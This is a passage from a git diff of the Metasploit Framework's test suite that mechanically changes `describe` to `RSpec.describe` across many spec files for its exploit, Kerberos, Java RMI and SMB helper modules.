@@ require 'spec_helper' require 'metasploit/framework/login_scanner/zabbix' -describe Metasploit::Framework::LoginScanner::Zabbix do +RSpec.describe Metasploit::Framework::LoginScanner::Zabbix do subject(:http_scanner) { described_class.new } diff --git a/spec/lib/metasploit/framework/login_scanner_spec.rb b/spec/lib/metasploit/framework/login_scanner_spec.rb index 7b22109bf8..7df8840d3a 100644 --- a/spec/lib/metasploit/framework/login_scanner_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner_spec.rb @@ -4,7 +4,7 @@ require 'metasploit/framework/login_scanner/http' require 'metasploit/framework/login_scanner/smb' require 'metasploit/framework/login_scanner/vnc' -describe Metasploit::Framework::LoginScanner do +RSpec.describe Metasploit::Framework::LoginScanner do subject { described_class.classes_for_service(service) } let(:port) { nil } diff --git a/spec/lib/msf/base/sessions/meterpreter_spec.rb b/spec/lib/msf/base/sessions/meterpreter_spec.rb index 622d711571..8023907520 100644 --- a/spec/lib/msf/base/sessions/meterpreter_spec.rb +++ b/spec/lib/msf/base/sessions/meterpreter_spec.rb @@ -3,7 +3,7 @@ require 'msf/base/sessions/meterpreter' require 'rex/post/meterpreter/extensions/stdapi/net/interface' require 'rex/post/meterpreter/extensions/stdapi/net/route' -describe Msf::Sessions::Meterpreter do +RSpec.describe Msf::Sessions::Meterpreter do before do allow_any_instance_of(Rex::Post::Meterpreter::PacketDispatcher).to receive(:monitor_socket) end diff --git a/spec/lib/msf/base/simple/framework_spec.rb b/spec/lib/msf/base/simple/framework_spec.rb index d2ca4b86f4..638f2273f6 100644 --- a/spec/lib/msf/base/simple/framework_spec.rb +++ b/spec/lib/msf/base/simple/framework_spec.rb @@ -1,6 +1,6 @@ require 'spec_helper' -describe Msf::Simple::Framework do +RSpec.describe Msf::Simple::Framework do include_context 'Msf::Simple::Framework' subject do diff --git a/spec/lib/msf/core/author_spec.rb b/spec/lib/msf/core/author_spec.rb index db923e4409..fa603d5a5f 100644 --- a/spec/lib/msf/core/author_spec.rb +++ b/spec/lib/msf/core/author_spec.rb @@ -1,6 +1,6 @@ require 'spec_helper' -describe Msf::Author do +RSpec.describe Msf::Author do context 'KNOWN' do subject(:known) { diff --git a/spec/lib/msf/core/auxiliary/drdos_spec.rb b/spec/lib/msf/core/auxiliary/drdos_spec.rb index ec4f9ce417..78720a628e 100644 --- a/spec/lib/msf/core/auxiliary/drdos_spec.rb +++ b/spec/lib/msf/core/auxiliary/drdos_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/auxiliary/drdos' -describe Msf::Auxiliary::DRDoS do +RSpec.describe Msf::Auxiliary::DRDoS do subject do mod = Module.new mod.extend described_class diff --git a/spec/lib/msf/core/auxiliary/kademlia_spec.rb b/spec/lib/msf/core/auxiliary/kademlia_spec.rb index 6873874881..9f5febaba8 100644 --- a/spec/lib/msf/core/auxiliary/kademlia_spec.rb +++ b/spec/lib/msf/core/auxiliary/kademlia_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/auxiliary/kademlia' -describe Msf::Auxiliary::Kademlia do +RSpec.describe Msf::Auxiliary::Kademlia do subject(:kad) do mod = Module.new mod.extend described_class diff --git a/spec/lib/msf/core/data_store_spec.rb b/spec/lib/msf/core/data_store_spec.rb index eb3d44f674..fad47dffdc 100644 --- a/spec/lib/msf/core/data_store_spec.rb +++ b/spec/lib/msf/core/data_store_spec.rb @@ -32,7 +32,7 @@ shared_examples "datastore" do end end -describe Msf::DataStore do +RSpec.describe Msf::DataStore do describe "#import_option" do subject do diff --git a/spec/lib/msf/core/encoded_payload_spec.rb b/spec/lib/msf/core/encoded_payload_spec.rb index 1a5c811da3..18f126fda0 100644 --- a/spec/lib/msf/core/encoded_payload_spec.rb +++ b/spec/lib/msf/core/encoded_payload_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'msf/core/encoded_payload' -describe Msf::EncodedPayload do +RSpec.describe Msf::EncodedPayload do include_context 'Msf::Simple::Framework#modules loading' before do diff --git a/spec/lib/msf/core/exe/segment_appender_spec.rb b/spec/lib/msf/core/exe/segment_appender_spec.rb index 5725eba822..7fd5dadbec 100644 --- a/spec/lib/msf/core/exe/segment_appender_spec.rb +++ b/spec/lib/msf/core/exe/segment_appender_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'msf/core/exe/segment_appender' -describe Msf::Exe::SegmentAppender do +RSpec.describe Msf::Exe::SegmentAppender do let(:opts) do option_hash = { diff --git a/spec/lib/msf/core/exe/segment_injector_spec.rb b/spec/lib/msf/core/exe/segment_injector_spec.rb index 3dd710cee5..fdb98111e1 100644 --- a/spec/lib/msf/core/exe/segment_injector_spec.rb +++ b/spec/lib/msf/core/exe/segment_injector_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'msf/core/exe/segment_injector' -describe Msf::Exe::SegmentInjector do +RSpec.describe Msf::Exe::SegmentInjector do let(:opts) do option_hash = { diff --git a/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb index 97626b61d3..0192c6c71f 100644 --- a/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb +++ b/spec/lib/msf/core/exploit/browser_autopwn2_spec.rb @@ -1,6 +1,6 @@ require 'msf/core' -describe Msf::Exploit::Remote::BrowserAutopwn2 do +RSpec.describe Msf::Exploit::Remote::BrowserAutopwn2 do diff --git a/spec/lib/msf/core/exploit/capture_spec.rb b/spec/lib/msf/core/exploit/capture_spec.rb index 54dc471192..e2be757b85 100644 --- a/spec/lib/msf/core/exploit/capture_spec.rb +++ b/spec/lib/msf/core/exploit/capture_spec.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/module' require 'msf/core/exploit/capture' -describe Msf::Exploit::Capture do +RSpec.describe Msf::Exploit::Capture do subject do mod = Msf::Module.new diff --git a/spec/lib/msf/core/exploit/cmdstager_spec.rb b/spec/lib/msf/core/exploit/cmdstager_spec.rb index ac64c3dce7..9da9b54ced 100644 --- a/spec/lib/msf/core/exploit/cmdstager_spec.rb +++ b/spec/lib/msf/core/exploit/cmdstager_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core' require 'msf/core/exploit/cmdstager' -describe Msf::Exploit::CmdStager do +RSpec.describe Msf::Exploit::CmdStager do def create_exploit(info ={}) mod = Msf::Exploit.allocate diff --git a/spec/lib/msf/core/exploit/http/client_spec.rb b/spec/lib/msf/core/exploit/http/client_spec.rb index 7edffaa04f..69aed1354c 100644 --- a/spec/lib/msf/core/exploit/http/client_spec.rb +++ b/spec/lib/msf/core/exploit/http/client_spec.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/data_store' require 'msf/core/exploit/http/client' -describe Msf::Exploit::Remote::HttpClient do +RSpec.describe Msf::Exploit::Remote::HttpClient do subject do mod = ::Msf::Module.new mod.extend described_class diff --git a/spec/lib/msf/core/exploit/http/jboss/base_spec.rb b/spec/lib/msf/core/exploit/http/jboss/base_spec.rb index db6472f006..ddb06d7ff0 100644 --- a/spec/lib/msf/core/exploit/http/jboss/base_spec.rb +++ b/spec/lib/msf/core/exploit/http/jboss/base_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'msf/core' require 'msf/core/exploit/http/jboss' -describe Msf::Exploit::Remote::HTTP::JBoss::Base do +RSpec.describe Msf::Exploit::Remote::HTTP::JBoss::Base do subject do mod = ::Msf::Exploit.new mod.extend Msf::Exploit::Remote::HTTP::JBoss diff --git a/spec/lib/msf/core/exploit/http/jboss/bean_shell_scripts_spec.rb b/spec/lib/msf/core/exploit/http/jboss/bean_shell_scripts_spec.rb index dc9d7e9351..ac10a2504f 100644 --- a/spec/lib/msf/core/exploit/http/jboss/bean_shell_scripts_spec.rb +++ b/spec/lib/msf/core/exploit/http/jboss/bean_shell_scripts_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'msf/core' require 'msf/core/exploit/http/jboss' -describe Msf::Exploit::Remote::HTTP::JBoss::BeanShellScripts do +RSpec.describe Msf::Exploit::Remote::HTTP::JBoss::BeanShellScripts do subject do mod = ::Msf::Exploit.new mod.extend Msf::Exploit::Remote::HTTP::JBoss diff --git a/spec/lib/msf/core/exploit/http/jboss/bean_shell_spec.rb b/spec/lib/msf/core/exploit/http/jboss/bean_shell_spec.rb index cec971646e..dc3084c892 100644 --- a/spec/lib/msf/core/exploit/http/jboss/bean_shell_spec.rb +++ b/spec/lib/msf/core/exploit/http/jboss/bean_shell_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'msf/core' require 'msf/core/exploit/http/jboss' -describe Msf::Exploit::Remote::HTTP::JBoss::BeanShell do +RSpec.describe Msf::Exploit::Remote::HTTP::JBoss::BeanShell do subject do mod = ::Msf::Exploit.new diff --git a/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_scripts_spec.rb b/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_scripts_spec.rb index e16ce384e3..dca1a5778c 100644 --- a/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_scripts_spec.rb +++ b/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_scripts_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'msf/core' require 'msf/core/exploit/http/jboss' -describe Msf::Exploit::Remote::HTTP::JBoss::DeploymentFileRepositoryScripts do +RSpec.describe Msf::Exploit::Remote::HTTP::JBoss::DeploymentFileRepositoryScripts do subject do mod = ::Msf::Exploit.new mod.extend Msf::Exploit::Remote::HTTP::JBoss diff --git a/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_spec.rb b/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_spec.rb index 8644b235fc..096bcf75d3 100644 --- a/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_spec.rb +++ b/spec/lib/msf/core/exploit/http/jboss/deployment_file_repository_spec.rb @@ -4,8 +4,7 @@ require 'spec_helper' require 'msf/core' require 'msf/core/exploit/http/jboss' -describe Msf::Exploit::Remote::HTTP::JBoss::DeploymentFileRepository do - +RSpec.describe Msf::Exploit::Remote::HTTP::JBoss::DeploymentFileRepository do subject do mod = ::Msf::Exploit.new mod.extend Msf::Exploit::Remote::HTTP::JBoss diff --git a/spec/lib/msf/core/exploit/http/server_spec.rb b/spec/lib/msf/core/exploit/http/server_spec.rb index 929d8e6f62..7bf4dbfeda 100644 --- a/spec/lib/msf/core/exploit/http/server_spec.rb +++ b/spec/lib/msf/core/exploit/http/server_spec.rb @@ -5,7 +5,7 @@ require 'spec_helper' require 'msf/core' require 'msf/core/exploit/http/server' -describe Msf::Exploit::Remote::HttpServer do +RSpec.describe Msf::Exploit::Remote::HttpServer do subject(:server_module) do mod = Msf::Exploit.allocate diff --git a/spec/lib/msf/core/exploit/http/typo3_spec.rb b/spec/lib/msf/core/exploit/http/typo3_spec.rb index f1f9740871..1d87c99f4c 100644 --- a/spec/lib/msf/core/exploit/http/typo3_spec.rb +++ b/spec/lib/msf/core/exploit/http/typo3_spec.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'rex/proto/http/response' require 'msf/core/exploit/http/typo3' -describe Msf::Exploit::Remote::HTTP::Typo3 do +RSpec.describe Msf::Exploit::Remote::HTTP::Typo3 do subject do mod = ::Msf::Module.new mod.extend described_class diff --git a/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb index e89f0e1e26..f49b4c4fd0 100644 --- a/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb +++ b/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb @@ -6,7 +6,7 @@ require 'msf/core/exploit' require 'rex/proto/http/response' require 'msf/core/exploit/http/wordpress' -describe Msf::Exploit::Remote::HTTP::Wordpress::Base do +RSpec.describe Msf::Exploit::Remote::HTTP::Wordpress::Base do subject do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::HTTP::Wordpress diff --git a/spec/lib/msf/core/exploit/http/wordpress/login_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/login_spec.rb index 931219060f..05e8d90e51 100644 --- a/spec/lib/msf/core/exploit/http/wordpress/login_spec.rb +++ b/spec/lib/msf/core/exploit/http/wordpress/login_spec.rb @@ -6,7 +6,7 @@ require 'msf/core/exploit' require 'rex/proto/http/response' require 'msf/core/exploit/http/wordpress' -describe Msf::Exploit::Remote::HTTP::Wordpress::Login do +RSpec.describe Msf::Exploit::Remote::HTTP::Wordpress::Login do subject do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::HTTP::Wordpress diff --git a/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb index 9a48bf8f48..d4e8e48c50 100644 --- a/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb +++ b/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb @@ -6,7 +6,7 @@ require 'msf/core/exploit' require 'rex/proto/http/response' require 'msf/core/exploit/http/wordpress' -describe Msf::Exploit::Remote::HTTP::Wordpress::Version do +RSpec.describe Msf::Exploit::Remote::HTTP::Wordpress::Version do subject do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::HTTP::Wordpress diff --git a/spec/lib/msf/core/exploit/kerberos/client/as_request_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/as_request_spec.rb index c1be46e24a..e7a66ae72e 100644 --- a/spec/lib/msf/core/exploit/kerberos/client/as_request_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/as_request_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/proto/kerberos' require 'msf/core/exploit/kerberos/client' -describe Msf::Exploit::Remote::Kerberos::Client::AsRequest do +RSpec.describe Msf::Exploit::Remote::Kerberos::Client::AsRequest do subject do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Kerberos::Client diff --git a/spec/lib/msf/core/exploit/kerberos/client/as_response_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/as_response_spec.rb index cebe701d68..fa20d13370 100644 --- a/spec/lib/msf/core/exploit/kerberos/client/as_response_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/as_response_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/proto/kerberos' require 'msf/core/exploit/kerberos/client' -describe Msf::Exploit::Remote::Kerberos::Client::AsResponse do +RSpec.describe Msf::Exploit::Remote::Kerberos::Client::AsResponse do subject do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Kerberos::Client diff --git a/spec/lib/msf/core/exploit/kerberos/client/base_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/base_spec.rb index 87fb9e42ca..f0da75d145 100644 --- a/spec/lib/msf/core/exploit/kerberos/client/base_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/base_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/proto/kerberos' require 'msf/core/exploit/kerberos/client' -describe Msf::Exploit::Remote::Kerberos::Client::Base do +RSpec.describe Msf::Exploit::Remote::Kerberos::Client::Base do subject do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Kerberos::Client diff --git a/spec/lib/msf/core/exploit/kerberos/client/cache_credential_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/cache_credential_spec.rb index 159caf6b9d..1e54008f59 100644 --- a/spec/lib/msf/core/exploit/kerberos/client/cache_credential_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/cache_credential_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/proto/kerberos' require 'msf/core/exploit/kerberos/client' -describe Msf::Exploit::Remote::Kerberos::Client::CacheCredential do +RSpec.describe Msf::Exploit::Remote::Kerberos::Client::CacheCredential do subject do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Kerberos::Client diff --git a/spec/lib/msf/core/exploit/kerberos/client/pac_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/pac_spec.rb index 698872fc5a..902edbac9e 100644 --- a/spec/lib/msf/core/exploit/kerberos/client/pac_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/pac_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/proto/kerberos' require 'msf/core/exploit/kerberos/client' -describe Msf::Exploit::Remote::Kerberos::Client::Pac do +RSpec.describe Msf::Exploit::Remote::Kerberos::Client::Pac do subject do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Kerberos::Client diff --git a/spec/lib/msf/core/exploit/kerberos/client/tgs_request_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/tgs_request_spec.rb index 842ea2af51..80885d24e7 100644 --- a/spec/lib/msf/core/exploit/kerberos/client/tgs_request_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/tgs_request_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/proto/kerberos' require 'msf/core/exploit/kerberos/client' -describe Msf::Exploit::Remote::Kerberos::Client::TgsRequest do +RSpec.describe Msf::Exploit::Remote::Kerberos::Client::TgsRequest do subject(:mod) do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Kerberos::Client diff --git a/spec/lib/msf/core/exploit/kerberos/client/tgs_response_spec.rb b/spec/lib/msf/core/exploit/kerberos/client/tgs_response_spec.rb index 6f399b0f82..ed9c0fb6de 100644 --- a/spec/lib/msf/core/exploit/kerberos/client/tgs_response_spec.rb +++ b/spec/lib/msf/core/exploit/kerberos/client/tgs_response_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/proto/kerberos' require 'msf/core/exploit/kerberos/client' -describe Msf::Exploit::Remote::Kerberos::Client::TgsResponse do +RSpec.describe Msf::Exploit::Remote::Kerberos::Client::TgsResponse do subject do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Kerberos::Client diff --git a/spec/lib/msf/core/exploit/powershell_spec.rb b/spec/lib/msf/core/exploit/powershell_spec.rb index 14b24dde41..cccbad02e6 100644 --- a/spec/lib/msf/core/exploit/powershell_spec.rb +++ b/spec/lib/msf/core/exploit/powershell_spec.rb @@ -8,7 +8,7 @@ def decompress(code) Rex::Powershell::Script.new(code).decompress_code end -describe Msf::Exploit::Powershell do +RSpec.describe Msf::Exploit::Powershell do subject do mod = Msf::Exploit.allocate mod.extend described_class diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb index 7b0cb6a545..92b672f17e 100644 --- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb @@ -1,7 +1,7 @@ #require 'spec_helper' require 'msf/core' -describe Msf::Exploit::Remote::BrowserExploitServer do +RSpec.describe Msf::Exploit::Remote::BrowserExploitServer do let(:in_memory_profile) do { diff --git a/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb b/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb index a771fff517..e942293e44 100644 --- a/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb @@ -1,6 +1,6 @@ require 'msf/core' -describe Msf::Exploit::Remote::BrowserProfileManager do +RSpec.describe Msf::Exploit::Remote::BrowserProfileManager do subject do mod = Msf::Exploit::Remote.allocate diff --git a/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb b/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb index b6f5a7d4d0..d3be110685 100644 --- a/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb +++ b/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'msf/core' -describe Msf::Exploit::Remote::FirefoxAddonGenerator do +RSpec.describe Msf::Exploit::Remote::FirefoxAddonGenerator do let(:datastore) { { 'TARGET' => 0 } } let(:jar) { double(:pack => '@JAR@', :build_manifest => nil) } let(:payload) { double(:encoded => '@EXE@', :encoded_jar => jar) } diff --git a/spec/lib/msf/core/exploit/remote/firefox_privilege_escalation_spec.rb b/spec/lib/msf/core/exploit/remote/firefox_privilege_escalation_spec.rb index 392ee8e850..904811c32d 100644 --- a/spec/lib/msf/core/exploit/remote/firefox_privilege_escalation_spec.rb +++ b/spec/lib/msf/core/exploit/remote/firefox_privilege_escalation_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'msf/core' -describe Msf::Exploit::Remote::FirefoxPrivilegeEscalation do +RSpec.describe Msf::Exploit::Remote::FirefoxPrivilegeEscalation do it_should_behave_like 'Msf::Exploit::JSObfu' diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/builder_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/builder_spec.rb index 1a3b7a6992..01443e1f51 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/builder_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/builder_spec.rb @@ -5,7 +5,7 @@ require 'rex/java/serialization' require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/builder' -describe Msf::Exploit::Remote::Java::Rmi::Builder do +RSpec.describe Msf::Exploit::Remote::Java::Rmi::Builder do subject(:mod) do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Java::Rmi::Builder diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection/builder_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection/builder_spec.rb index 4f66a6ee59..ed79f895f6 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection/builder_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection/builder_spec.rb @@ -6,7 +6,7 @@ require 'rex/java/serialization' require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' -describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection::Builder do +RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection::Builder do subject(:mod) do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb index 37ceff8bf7..59dae1aa06 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb @@ -6,7 +6,7 @@ require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' require 'stringio' -describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do +RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do let(:name_get) { 'DefaultDomain:type=MLet' } diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server/builder_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server/builder_spec.rb index 1aed0b988d..682b303efb 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server/builder_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server/builder_spec.rb @@ -6,7 +6,7 @@ require 'rex/java/serialization' require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' -describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server::Builder do +RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server::Builder do subject(:mod) do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server/parser_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server/parser_spec.rb index 1aa6e4c984..afae60b120 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server/parser_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server/parser_spec.rb @@ -5,7 +5,7 @@ require 'rex/java/serialization' require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' -describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server::Parser do +RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server::Parser do subject(:mod) do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb index 05e9e16ff1..4ce5dbbdf6 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb @@ -6,7 +6,7 @@ require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' require 'stringio' -describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do +RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do let(:new_client_response) do "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry/builder_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry/builder_spec.rb index 6dc4364f4e..a5e10d2be3 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry/builder_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry/builder_spec.rb @@ -5,7 +5,7 @@ require 'rex/java/serialization' require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' -describe ::Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder do +RSpec.describe ::Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder do subject(:mod) do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry/parser_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry/parser_spec.rb index 34c9ada7c4..23cc798bcd 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry/parser_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry/parser_spec.rb @@ -5,7 +5,7 @@ require 'rex/java/serialization' require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' -describe Msf::Exploit::Remote::Java::Rmi::Client::Registry::Parser do +RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry::Parser do subject(:mod) do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb index 7e03e1bea0..249e9c7c49 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb @@ -6,7 +6,7 @@ require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' require 'stringio' -describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do +RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do let(:list_with_names_response) do "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb index f99eb14609..55ea3f837d 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb @@ -5,7 +5,7 @@ require 'rex/java/serialization' require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' -describe Msf::Exploit::Remote::Java::Rmi::Client do +RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client do subject(:mod) do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/util_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/util_spec.rb index 45c9909430..3ee90f24a2 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/util_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/util_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java/serialization' require 'msf/core/exploit/java/rmi/util' -describe Msf::Exploit::Remote::Java::Rmi::Util do +RSpec.describe Msf::Exploit::Remote::Java::Rmi::Util do subject(:mod) do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Java::Rmi::Util diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb index b59d037cda..9c4947206a 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb @@ -5,7 +5,7 @@ require 'spec_helper' require 'msf/core' require 'msf/core/exploit/smb/server/share' -describe Msf::Exploit::Remote::SMB::Server::Share do +RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do subject(:mod) do mod = Msf::Exploit.new diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb index af656f2305..ac3ca8d7ee 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/smb/server/share' require 